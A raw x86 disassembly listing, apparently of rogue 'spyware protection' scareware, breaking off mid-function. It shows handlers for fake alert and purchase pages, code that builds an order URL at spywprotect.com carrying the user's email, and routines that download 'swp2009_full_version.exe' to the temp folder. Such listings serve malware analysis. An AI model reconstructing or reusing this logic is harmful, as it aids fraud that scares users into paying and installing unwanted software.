var_622		= word ptr -622h
var_20C		= byte ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-9E4h]
		sub	esp, 0A64h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+9E4h+var_4], eax
		mov	eax, [ebp+9E4h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	ebx, ebx
		push	6
		mov	[ebp+9E4h+var_A38], eax
		pop	ecx
		xor	eax, eax
		mov	[ebp+9E4h+var_A64], offset off_424BDC
		mov	[ebp+9E4h+var_A60], ebx
		mov	[ebp+9E4h+var_A5C], ebx
		mov	[ebp+9E4h+var_A58], ebx
		lea	edi, [ebp+9E4h+var_A54]
		rep stosd
		lea	ecx, [ebp+9E4h+var_A54]
		mov	[ebp+9E4h+var_A3C], bl
		call	sub_401154
		cmp	eax, ebx
		jl	short loc_408C08
		mov	[ebp+9E4h+var_A3C], 1
		cmp	esi, ebx
		jz	short loc_408C44
		jmp	short loc_408C3E
; ---------------------------------------------------------------------------


loc_408C08:				; CODE XREF: sub_408BAA+52j
					; sub_408BAA+A8j ...
		mov	esi, eax


loc_408C0A:				; CODE XREF: sub_408BAA+DEj
					; sub_408BAA+132j
		lea	ecx, [ebp+9E4h+var_A64]
		call	sub_4077EF
		mov	ecx, [ebp+9E4h+var_4]
		pop	edi
		mov	eax, esi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		add	ebp, 9E4h
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408C2E:				; CODE XREF: sub_408BAA+98j
		push	dword ptr [esi+4]
		push	eax
		lea	eax, [ebp+9E4h+var_A64]
		push	eax
		call	sub_40783F
		add	esi, 8


loc_408C3E:				; CODE XREF: sub_408BAA+5Cj
		mov	eax, [esi]
		cmp	eax, ebx
		jnz	short loc_408C2E


loc_408C44:				; CODE XREF: sub_408BAA+5Aj
		mov	ecx, [ebp+9E4h+var_A38]
		mov	eax, [ecx]
		lea	edx, [ebp+9E4h+var_A64]
		push	edx
		call	dword ptr [eax+14h]
		cmp	eax, ebx
		jl	short loc_408C08
		call	off_42A000
		mov	edi, dword_42E350
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+9E4h+var_20C]
		push	eax
		push	edi
		call	dword_41D1FC	; GetModuleFileNameW
		cmp	eax, ebx
		jnz	short loc_408C7F
		call	sub_40119F
		jmp	short loc_408C08
; ---------------------------------------------------------------------------


loc_408C7F:				; CODE XREF: sub_408BAA+CCj
		cmp	eax, esi
		jnz	short loc_408C8A
		mov	esi, 8007007Ah
		jmp	short loc_408C0A
; ---------------------------------------------------------------------------


loc_408C8A:				; CODE XREF: sub_408BAA+D7j
		lea	edx, [ebp+9E4h+var_20C]
		mov	eax, 208h
		lea	ecx, [ebp+9E4h+var_A34]
		call	sub_40738B
		cmp	edi, ebx
		jz	short loc_408CB1
		push	ebx
		call	dword_41D078	; GetModuleHandleW
		cmp	edi, eax
		jz	short loc_408CB1
		lea	eax, [ebp+9E4h+var_A34]
		jmp	short loc_408D0B
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_408BAA+F5j
					; sub_408BAA+100j
		push	22h
		pop	eax
		mov	[ebp+9E4h+var_624], ax
		lea	eax, [ebp+9E4h+var_A34]
		push	eax
		lea	eax, [ebp+9E4h+var_622]
		push	20Bh
		push	eax
		call	sub_4010AC
		add	esp, 0Ch
		test	al, al
		jnz	short loc_408CE1
		mov	esi, 80004005h
		jmp	loc_408C0A
; ---------------------------------------------------------------------------


loc_408CE1:				; CODE XREF: sub_408BAA+12Bj
		lea	eax, [ebp+9E4h+var_624]
		push	eax
		call	dword_41D1F0	; lstrlenW
		add	eax, eax
		push	22h
		pop	ecx
		mov	[ebp+eax+9E4h+var_624],	cx
		xor	ecx, ecx
		mov	[ebp+eax+9E4h+var_622],	cx
		lea	eax, [ebp+9E4h+var_624]


loc_408D0B:				; CODE XREF: sub_408BAA+105j
		push	eax
		push	offset aModule	; "Module"
		lea	eax, [ebp+9E4h+var_A64]
		push	eax
		call	sub_40783F
		cmp	eax, ebx
		jl	loc_408C08
		lea	eax, [ebp+9E4h+var_A34]
		push	eax
		push	offset aModule_raw ; "Module_Raw"
		lea	eax, [ebp+9E4h+var_A64]
		push	eax
		call	sub_40783F
		cmp	eax, ebx
		jl	loc_408C08
		call	off_42A000
		cmp	[ebp+9E4h+arg_8], ebx
		jz	short loc_408D6C
		push	1


loc_408D4C:				; CODE XREF: sub_408BAA+1C3j
		movzx	edx, [ebp+9E4h+arg_4]
		push	offset off_4245A8
		lea	eax, [ebp+9E4h+var_A64]
		push	eax
		lea	ecx, [ebp+9E4h+var_20C]
		call	sub_4078AB
		jmp	loc_408C08
; ---------------------------------------------------------------------------


loc_408D6C:				; CODE XREF: sub_408BAA+19Ej
		push	ebx
		jmp	short loc_408D4C
sub_408BAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D6F	proc near		; CODE XREF: sub_409533+44p
					; sub_409BC7+44p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		push	eax
		push	eax
		push	[esp+8+arg_0]
		mov	byte ptr [esi],	1
		push	eax
		call	dword_41D09C	; CreateEventW
		mov	[esi+4], eax
		mov	eax, esi
		retn	4
sub_408D6F	endp

; ---------------------------------------------------------------------------


loc_408D89:				; CODE XREF: UPX0:0041C6C6j
					; UPX0:0041C781j ...
		cmp	byte ptr [eax],	0
		jz	short locret_408D97
		push	dword ptr [eax+4]
		call	dword_41D0A8	; CloseHandle

locret_408D97:				; CODE XREF: UPX0:00408D8Cj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408D98	proc near		; CODE XREF: sub_417588+BBp
		push	0
		mov	eax, offset loc_41C6EE
		call	sub_40C46D
		mov	esi, [ebp+8]
		push	offset aPurchase_htm ; "purchase.htm"
		push	esi
		call	sub_418A96
		and	dword ptr [ebp-4], 0
		xor	ecx, ecx
		push	ecx
		mov	eax, offset sub_408E29
		push	eax
		push	1
		push	offset aFirst	; "first"
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_424BF8
		mov	dword ptr [esi+24h], (offset loc_424C0F+5)
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset sub_408F0F
		push	eax
		push	1
		push	offset aHandshake ; "handshake"
		mov	ecx, esi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset sub_408F59
		push	eax
		push	1
		push	offset aSetemail ; "setemail"
		mov	ecx, esi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset sub_408FB6
		push	eax
		push	1
		push	offset aInstallerurl ; "installerurl"
		mov	ecx, esi
		call	sub_418122
		mov	eax, esi
		call	sub_40C50C
		retn	4
sub_408D98	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E29	proc near		; DATA XREF: sub_408D98+21o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	200h
		push	1
		mov	[ebp+var_8], ecx
		call	sub_40B5BD
		mov	ebx, eax
		pop	ecx
		mov	eax, offset aHttpSpywprotec ; "http://spywprotect.com/orderint?prodid="...
		mov	edx, ebx
		pop	ecx
		sub	edx, eax


loc_408E4D:				; CODE XREF: sub_408E29+30j
		movzx	ecx, word ptr [eax]
		mov	[edx+eax], cx
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_408E4D
		mov	edi, ebx
		dec	edi
		dec	edi


loc_408E5F:				; CODE XREF: sub_408E29+3Fj
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		test	ax, ax
		jnz	short loc_408E5F
		mov	esi, offset aR	; "&r="
		movsd
		movsd
		mov	edi, ebx
		dec	edi
		dec	edi


loc_408E75:				; CODE XREF: sub_408E29+55j
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		test	ax, ax
		jnz	short loc_408E75
		mov	esi, offset a16_0 ; "16.0"
		movsd
		movsd
		movsw
		call	sub_41709B
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_408EE6
		call	sub_4170DD
		test	al, al
		jnz	short loc_408EE6
		mov	edi, ebx
		dec	edi
		dec	edi


loc_408EA2:				; CODE XREF: sub_408E29+82j
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		test	ax, ax
		jnz	short loc_408EA2
		mov	eax, [ebp+var_4]
		mov	esi, offset aEmail ; "&email="
		movsd
		movsd
		movsd
		movsd
		mov	edx, eax


loc_408EBB:				; CODE XREF: sub_408E29+9Aj
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_408EBB
		sub	eax, edx
		mov	edi, ebx
		dec	edi
		dec	edi


loc_408ECB:				; CODE XREF: sub_408E29+ABj
		mov	cx, [edi+2]
		inc	edi
		inc	edi
		test	cx, cx
		jnz	short loc_408ECB
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_408EE6:				; CODE XREF: sub_408E29+6Aj
					; sub_408E29+73j
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	1
		push	offset aRedir	; "redir"
		mov	[ebp+var_4], ebx
		call	sub_417FE1
		push	ebx
		call	sub_40ADC8
		pop	ecx
		pop	edi
		pop	esi
		mov	eax, offset aTrue ; "true"
		pop	ebx
		leave
		retn	8
sub_408E29	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F0F	proc near		; DATA XREF: sub_408D98+45o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	dword ptr [eax]
		call	sub_40BABC
		pop	ecx
		mov	esi, eax
		call	sub_417114
		test	al, al
		jnz	short loc_408F40
		call	loc_417370
		test	al, al
		jnz	short loc_408F40
		mov	eax, esi
		cdq
		push	5
		pop	ecx
		idiv	ecx
		add	eax, 6Bh
		imul	eax, 3
		jmp	short loc_408F42
; ---------------------------------------------------------------------------


loc_408F40:				; CODE XREF: sub_408F0F+16j
					; sub_408F0F+1Fj
		xor	eax, eax


loc_408F42:				; CODE XREF: sub_408F0F+2Fj
		push	0Ah
		mov	esi, offset dword_42F10C
		push	esi
		push	eax
		call	sub_40BB16
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn	8
sub_408F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F59	proc near		; DATA XREF: sub_408D98+5Co

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, [edi]
		lea	eax, [ebp+var_100]
		mov	[ebp+var_104], eax
		call	off_42A000
		push	eax
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40A2F3
		push	[ebp+var_104]
		call	sub_417023
		lea	eax, [ebp+var_100]
		cmp	[ebp+var_104], eax
		jz	short loc_408FAE
		push	[ebp+var_104]
		call	sub_40ADC8
		pop	ecx


loc_408FAE:				; CODE XREF: sub_408F59+47j
		mov	eax, [edi]
		pop	edi
		pop	esi
		leave
		retn	8
sub_408F59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=404h


sub_408FB6	proc near		; DATA XREF: sub_408D98+73o

var_620		= dword	ptr -620h
var_61C		= byte ptr -61Ch
var_59C		= dword	ptr -59Ch
var_598		= byte ptr -598h
var_518		= dword	ptr -518h
var_514		= byte ptr -514h
var_498		= dword	ptr -498h
var_494		= byte ptr -494h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		sub	esp, 400h
		lea	ebp, [esp-4]
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+404h+var_4], eax
		push	210h
		mov	eax, offset loc_41C277
		call	sub_40C46D
		mov	ebx, [ebp+410h]
		lea	eax, [ebp+404h+var_404]
		push	eax
		push	200h
		mov	[ebp+404h+var_414], ecx
		call	dword_41D090	; GetTempPathW
		lea	edi, [ebp+404h+var_404]
		dec	edi
		dec	edi


loc_408FFA:				; CODE XREF: sub_408FB6+4Dj
		mov	ax, [edi+2]
		inc	edi
		inc	edi
		test	ax, ax
		jnz	short loc_408FFA
		push	0Ch
		pop	ecx
		mov	esi, offset aSwp2009_full_v ; "swp2009_full_version.exe"
		rep movsd
		lea	eax, [ebp+404h+var_494]
		movsw
		mov	[ebp+404h+var_498], eax
		call	off_42A000
		push	eax
		lea	eax, [ebp+404h+var_404]
		push	eax
		lea	eax, [ebp+404h+var_498]
		push	eax
		call	sub_40A398
		push	[ebp+404h+var_498]
		call	sub_40B896
		lea	eax, [ebp+404h+var_494]
		pop	ecx
		cmp	[ebp+404h+var_498], eax
		jz	short loc_40905A
		push	[ebp+404h+var_498]
		call	sub_40ADC8
		pop	ecx


loc_40905A:				; CODE XREF: sub_408FB6+96j
		mov	esi, [ebx]
		lea	eax, [ebp+404h+var_514]
		mov	[ebp+404h+var_518], eax
		call	off_42A000
		push	eax
		push	esi
		lea	eax, [ebp+404h+var_518]
		push	eax
		call	sub_40A2F3
		push	[ebp+404h+var_518]
		call	dword_41D368	; DeleteUrlCacheEntryW
		lea	eax, [ebp+404h+var_514]
		cmp	[ebp+404h+var_518], eax
		jz	short loc_4090A2
		push	[ebp+404h+var_518]
		call	sub_40ADC8
		pop	ecx


loc_4090A2:				; CODE XREF: sub_408FB6+DEj
		mov	ebx, [ebx]
		lea	eax, [ebp+404h+var_514]
		mov	[ebp+404h+var_518], eax
		call	off_42A000
		push	eax
		push	ebx
		lea	eax, [ebp+404h+var_518]
		push	eax
		call	sub_40A2F3
		xor	esi, esi
		push	esi
		push	esi
		lea	eax, [ebp+404h+var_404]
		push	eax
		push	[ebp+404h+var_518]
		push	esi
		call	sub_416F68
		mov	edi, eax
		lea	eax, [ebp+404h+var_514]
		cmp	[ebp+404h+var_518], eax
		jz	short loc_4090F4
		push	[ebp+404h+var_518]
		call	sub_40ADC8
		pop	ecx


loc_4090F4:				; CODE XREF: sub_408FB6+130j
		cmp	edi, esi
		jnz	loc_409195
		lea	eax, [ebp+404h+var_61C]
		mov	[ebp+404h+var_620], eax
		call	off_42A000
		push	eax
		lea	eax, [ebp+404h+var_404]
		push	eax
		lea	eax, [ebp+404h+var_620]
		push	eax
		call	sub_40A398
		lea	eax, [ebp+404h+var_598]
		mov	[ebp+404h+var_408], esi
		mov	[ebp+404h+var_59C], eax
		call	off_42A000
		push	eax
		lea	eax, [ebp+404h+var_404]
		push	eax
		lea	eax, [ebp+404h+var_59C]
		push	eax
		call	sub_40A398
		push	esi
		push	offset off_4246EE
		push	[ebp+404h+var_620]
		push	[ebp+404h+var_59C]
		call	sub_40B5FD
		lea	eax, [ebp+404h+var_598]
		add	esp, 10h
		cmp	[ebp+404h+var_59C], eax
		jz	short loc_409179
		push	[ebp+404h+var_59C]
		call	sub_40ADC8
		pop	ecx


loc_409179:				; CODE XREF: sub_408FB6+1B5j
		lea	eax, [ebp+404h+var_61C]
		cmp	[ebp+404h+var_620], eax
		jz	short loc_4091AC
		push	[ebp+404h+var_620]
		call	sub_40ADC8
		pop	ecx
		jmp	short loc_4091AC
; ---------------------------------------------------------------------------


loc_409195:				; CODE XREF: sub_408FB6+140j
		mov	eax, [ebp+404h+var_414]
		push	esi
		push	4246F0h
		push	offset aCanTDownloadIn ; "Can't download installer, please try la"...
		push	dword ptr [eax+4]
		call	dword_41D2F4	; MessageBoxW


loc_4091AC:				; CODE XREF: sub_408FB6+1CFj
					; sub_408FB6+1DDj
		mov	eax, offset aTrue ; "true"
		mov	ecx, [ebp+404h+var_410]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+404h+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		add	ebp, 404h
		leave
		retn	8
sub_408FB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4091D6	proc near		; DATA XREF: UPX0:00423FC0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_404B59
		test	[esp+4+arg_0], 1
		jz	short loc_4091EC
		push	esi
		call	sub_40AC11
		pop	ecx


loc_4091EC:				; CODE XREF: sub_4091D6+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4091D6	endp

; ---------------------------------------------------------------------------


loc_4091F2:				; CODE XREF: UPX0:0041C128j
		push	ecx
		call	sub_404B59
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4091FA	proc near		; CODE XREF: sub_40A147+13p
		push	0
		mov	eax, offset loc_41C6EE
		call	sub_40C46D
		mov	esi, [ebp+8]
		push	offset aAlert_htm ; "alert.htm"
		push	esi
		call	sub_418A96
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	8
		mov	dword ptr [esi], offset	off_424C34
		mov	dword ptr [esi+24h], offset loc_424C50
		call	sub_40B45F
		pop	ecx
		cmp	eax, ebx
		jz	short loc_40923B
		mov	ecx, [edi]
		mov	[eax], bl
		mov	[eax+4], ecx
		jmp	short loc_40923D
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_4091FA+36j
		xor	eax, eax


loc_40923D:				; CODE XREF: sub_4091FA+3Fj
		push	8
		mov	[esi+60h], eax
		call	sub_40B45F
		pop	ecx
		cmp	eax, ebx
		jz	short loc_409256
		mov	ecx, [edi+4]
		mov	[eax], bl
		mov	[eax+4], ecx
		jmp	short loc_409258
; ---------------------------------------------------------------------------


loc_409256:				; CODE XREF: sub_4091FA+50j
		xor	eax, eax


loc_409258:				; CODE XREF: sub_4091FA+5Aj
		push	ebx
		mov	[esi+5Ch], eax
		mov	eax, offset sub_4092A8
		push	eax
		push	1
		push	offset aFstbuttonclick ; "fstButtonClick"
		mov	ecx, esi
		call	sub_418122
		mov	eax, esi
		call	sub_40C50C
		retn	4
sub_4091FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40927A	proc near		; CODE XREF: sub_40937F+3p
					; sub_40A147+52p ...
		push	esi
		mov	esi, [edi+60h]
		mov	dword ptr [edi], offset	off_424C34
		mov	dword ptr [edi+24h], offset loc_424C50
		test	esi, esi
		jz	short loc_409294
		call	sub_40939B


loc_409294:				; CODE XREF: sub_40927A+13j
		mov	esi, [edi+5Ch]
		test	esi, esi
		jz	short loc_4092A0
		call	sub_40939B


loc_4092A0:				; CODE XREF: sub_40927A+1Fj
		mov	ecx, edi
		pop	esi
		jmp	sub_404B59
sub_40927A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4092A8	proc near		; DATA XREF: sub_4091FA+62o
					; sub_4093B3+62o
		push	esi
		mov	esi, ecx
		push	0
		push	dword ptr [esi+4]
		call	dword_41D298	; ShowWindow
		push	dword ptr [esi+4]
		call	sub_417588
		pop	ecx
		mov	eax, offset aTrue ; "true"
		pop	esi
		retn	8
sub_4092A8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+5Ch]
		push	dword ptr [eax+4]
		call	dword_41D070	; SetEvent
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092D7	proc near		; DATA XREF: UPX0:00424C44o

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, dword_41D074
		mov	esi, ecx
		mov	[ebp+var_1], bl
		jmp	short loc_409323
; ---------------------------------------------------------------------------


loc_4092EF:				; CODE XREF: sub_4092D7+5Dj
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D2D8	; TranslateMessage
		cmp	[ebp+var_1C], 10h
		jz	short loc_409338
		mov	eax, 100h
		cmp	[ebp+var_1C], eax
		jnz	short loc_409319
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D288	; SendMessageW


loc_409319:				; CODE XREF: sub_4092D7+30j
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D26C	; DispatchMessageW


loc_409323:				; CODE XREF: sub_4092D7+16j
					; sub_4092D7+9Ej
		push	1
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_41D2F0	; PeekMessageW
		test	eax, eax
		jnz	short loc_4092EF
		jmp	short loc_40933C
; ---------------------------------------------------------------------------


loc_409338:				; CODE XREF: sub_4092D7+26j
		mov	[ebp+var_1], 1


loc_40933C:				; CODE XREF: sub_4092D7+5Fj
		mov	eax, [esi+5Ch]
		push	1
		push	ebx
		push	dword ptr [eax+4]
		call	edi ; dword_41D074
		test	eax, eax
		jnz	short loc_40934E
		push	ebx
		jmp	short loc_40935F
; ---------------------------------------------------------------------------


loc_40934E:				; CODE XREF: sub_4092D7+72j
		mov	eax, [esi+60h]
		push	1
		push	ebx
		push	dword ptr [eax+4]
		call	edi ; dword_41D074
		test	eax, eax
		jnz	short loc_40936A
		push	5


loc_40935F:				; CODE XREF: sub_4092D7+75j
		push	dword ptr [esi+4]
		call	dword_41D298	; ShowWindow
		jmp	short loc_409372
; ---------------------------------------------------------------------------


loc_40936A:				; CODE XREF: sub_4092D7+84j
		push	1
		call	dword_41D080	; Sleep


loc_409372:				; CODE XREF: sub_4092D7+91j
		cmp	[ebp+var_1], bl
		jz	short loc_409323
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4092D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40937F	proc near		; DATA XREF: UPX0:00424C38o

arg_0		= byte ptr  4

		push	edi
		mov	edi, ecx
		call	sub_40927A
		test	[esp+4+arg_0], 1
		jz	short loc_409395
		push	edi
		call	sub_40AC11
		pop	ecx


loc_409395:				; CODE XREF: sub_40937F+Dj
		mov	eax, edi
		pop	edi
		retn	4
sub_40937F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40939B	proc near		; CODE XREF: sub_40927A+15p
					; sub_40927A+21p ...
		cmp	byte ptr [esi],	0
		jz	short loc_4093A9
		push	dword ptr [esi+4]
		call	dword_41D0A8	; CloseHandle


loc_4093A9:				; CODE XREF: sub_40939B+3j
		push	esi
		call	sub_40AC11
		pop	ecx
		mov	eax, esi
		retn
sub_40939B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4093B3	proc near		; CODE XREF: sub_40A0E8+13p
		push	0
		mov	eax, offset loc_41C6EE
		call	sub_40C46D
		mov	esi, [ebp+8]
		push	offset aNetalert_htm ; "netalert.htm"
		push	esi
		call	sub_418A96
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	8
		mov	dword ptr [esi], offset	off_424C70
		mov	dword ptr [esi+24h], (offset loc_424C87+5)
		call	sub_40B45F
		pop	ecx
		cmp	eax, ebx
		jz	short loc_4093F4
		mov	ecx, [edi]
		mov	[eax], bl
		mov	[eax+4], ecx
		jmp	short loc_4093F6
; ---------------------------------------------------------------------------


loc_4093F4:				; CODE XREF: sub_4093B3+36j
		xor	eax, eax


loc_4093F6:				; CODE XREF: sub_4093B3+3Fj
		push	8
		mov	[esi+60h], eax
		call	sub_40B45F
		pop	ecx
		cmp	eax, ebx
		jz	short loc_40940F
		mov	ecx, [edi+4]
		mov	[eax], bl
		mov	[eax+4], ecx
		jmp	short loc_409411
; ---------------------------------------------------------------------------


loc_40940F:				; CODE XREF: sub_4093B3+50j
		xor	eax, eax


loc_409411:				; CODE XREF: sub_4093B3+5Aj
		push	ebx
		mov	[esi+5Ch], eax
		mov	eax, offset sub_4092A8
		push	eax
		push	1
		push	offset aFstbuttonclick ; "fstButtonClick"
		mov	ecx, esi
		call	sub_418122
		mov	eax, esi
		call	sub_40C50C
		retn	4
sub_4093B3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409433	proc near		; CODE XREF: UPX0:0040951Ap
					; sub_40A0E8+52p ...
		push	esi
		mov	esi, [edi+60h]
		mov	dword ptr [edi], offset	off_424C70
		mov	dword ptr [edi+24h], (offset loc_424C87+5)
		test	esi, esi
		jz	short loc_40944D
		call	sub_40939B


loc_40944D:				; CODE XREF: sub_409433+13j
		mov	esi, [edi+5Ch]
		test	esi, esi
		jz	short loc_409459
		call	sub_40939B


loc_409459:				; CODE XREF: sub_409433+1Fj
		mov	ecx, edi
		pop	esi
		jmp	sub_404B59
sub_409433	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, dword_41D074
		mov	esi, ecx
		mov	[ebp-1], bl
		jmp	short loc_4094AD
; ---------------------------------------------------------------------------


loc_409479:				; CODE XREF: UPX0:004094BEj
		lea	eax, [ebp-20h]
		push	eax
		call	dword_41D2D8	; TranslateMessage
		cmp	dword ptr [ebp-1Ch], 10h
		jz	short loc_4094C2
		mov	eax, 100h
		cmp	[ebp-1Ch], eax
		jnz	short loc_4094A3
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-18h]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41D288	; SendMessageW


loc_4094A3:				; CODE XREF: UPX0:00409491j
		lea	eax, [ebp-20h]
		push	eax
		call	dword_41D26C	; DispatchMessageW


loc_4094AD:				; CODE XREF: UPX0:00409477j
					; UPX0:0040950Dj
		push	1
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp-20h]
		push	eax
		call	dword_41D2F0	; PeekMessageW
		test	eax, eax
		jnz	short loc_409479
		jmp	short loc_4094C6
; ---------------------------------------------------------------------------


loc_4094C2:				; CODE XREF: UPX0:00409487j
		mov	byte ptr [ebp-1], 1


loc_4094C6:				; CODE XREF: UPX0:004094C0j
		mov	eax, [esi+5Ch]
		push	1
		push	ebx
		push	dword ptr [eax+4]
		call	edi ; dword_41D074
		test	eax, eax
		jnz	short loc_4094D8
		push	ebx
		jmp	short loc_4094F7
; ---------------------------------------------------------------------------


loc_4094D8:				; CODE XREF: UPX0:004094D3j
		mov	eax, [esi+60h]
		push	1
		push	ebx
		push	dword ptr [eax+4]
		call	edi ; dword_41D074
		test	eax, eax
		jnz	short loc_409502
		push	ebx
		push	ebx
		push	offset aSetinfo	; "setInfo"
		mov	eax, esi
		call	sub_417FE1
		push	5


loc_4094F7:				; CODE XREF: UPX0:004094D6j
		push	dword ptr [esi+4]
		call	dword_41D298	; ShowWindow
		jmp	short loc_40950A
; ---------------------------------------------------------------------------


loc_409502:				; CODE XREF: UPX0:004094E5j
		push	1
		call	dword_41D080	; Sleep


loc_40950A:				; CODE XREF: UPX0:00409500j
		cmp	[ebp-1], bl
		jz	short loc_4094AD
		mov	eax, [ebp-18h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, ecx
		call	sub_409433
		test	byte ptr [esp+8], 1
		jz	short loc_40952D
		push	edi
		call	sub_40AC11
		pop	ecx


loc_40952D:				; CODE XREF: UPX0:00409524j
		mov	eax, edi
		pop	edi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_409533	proc near		; CODE XREF: sub_409FB8+3Ap
		push	4
		mov	eax, offset loc_41C6CB
		call	sub_40C46D
		mov	edi, [ebp+8]
		push	offset aHtmlmain_htm ; "htmlMain.htm"
		push	edi
		call	sub_418A96
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	dword ptr [edi], offset	off_424CAC
		mov	dword ptr [edi+24h], offset loc_424CC8
		xor	eax, eax
		xor	ecx, ecx
		push	1
		lea	esi, [edi+78h]
		mov	[edi+70h], eax
		mov	[edi+74h], ecx
		mov	[edi+68h], ebx
		mov	[edi+64h], ebx
		mov	[edi+60h], ebx
		call	sub_408D6F
		mov	byte ptr [ebp-4], 1
		push	8
		mov	[edi+88h], bl
		mov	byte ptr [edi+9Dh], 1
		call	sub_40B45F
		mov	esi, [ebp+0Ch]
		pop	ecx
		cmp	eax, ebx
		jz	short loc_4095A5
		mov	ecx, [esi]
		mov	[eax], bl
		mov	[eax+4], ecx
		jmp	short loc_4095A7
; ---------------------------------------------------------------------------


loc_4095A5:				; CODE XREF: sub_409533+67j
		xor	eax, eax


loc_4095A7:				; CODE XREF: sub_409533+70j
		push	8
		mov	[edi+84h], eax
		call	sub_40B45F
		pop	ecx
		cmp	eax, ebx
		jz	short loc_4095C3
		mov	ecx, [esi+4]
		mov	[eax], bl
		mov	[eax+4], ecx
		jmp	short loc_4095C5
; ---------------------------------------------------------------------------


loc_4095C3:				; CODE XREF: sub_409533+84j
		xor	eax, eax


loc_4095C5:				; CODE XREF: sub_409533+8Ej
		push	ebx
		mov	[edi+80h], eax
		mov	eax, offset sub_40968F
		push	eax
		push	1
		push	offset aScanbuttonclic ; "scanButtonClick"
		mov	ecx, edi
		call	sub_418122
		push	ebx
		mov	eax, offset sub_40970B
		push	eax
		push	1
		push	offset aPurchase ; "purchase"
		mov	ecx, edi
		call	sub_418122
		mov	eax, offset sub_40983C
		mov	[edi+70h], eax
		mov	[edi+74h], ebx
		mov	[edi+68h], edi
		mov	[edi+64h], ebx
		mov	[edi+60h], ebx
		cmp	[esi+8], ebx
		setz	al
		mov	[edi+9Ch], al
		mov	eax, edi
		call	sub_40C50C
		retn	8
sub_409533	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40961F	proc near		; CODE XREF: sub_409BAB+3p
					; sub_409FB8+113p ...
		push	ecx
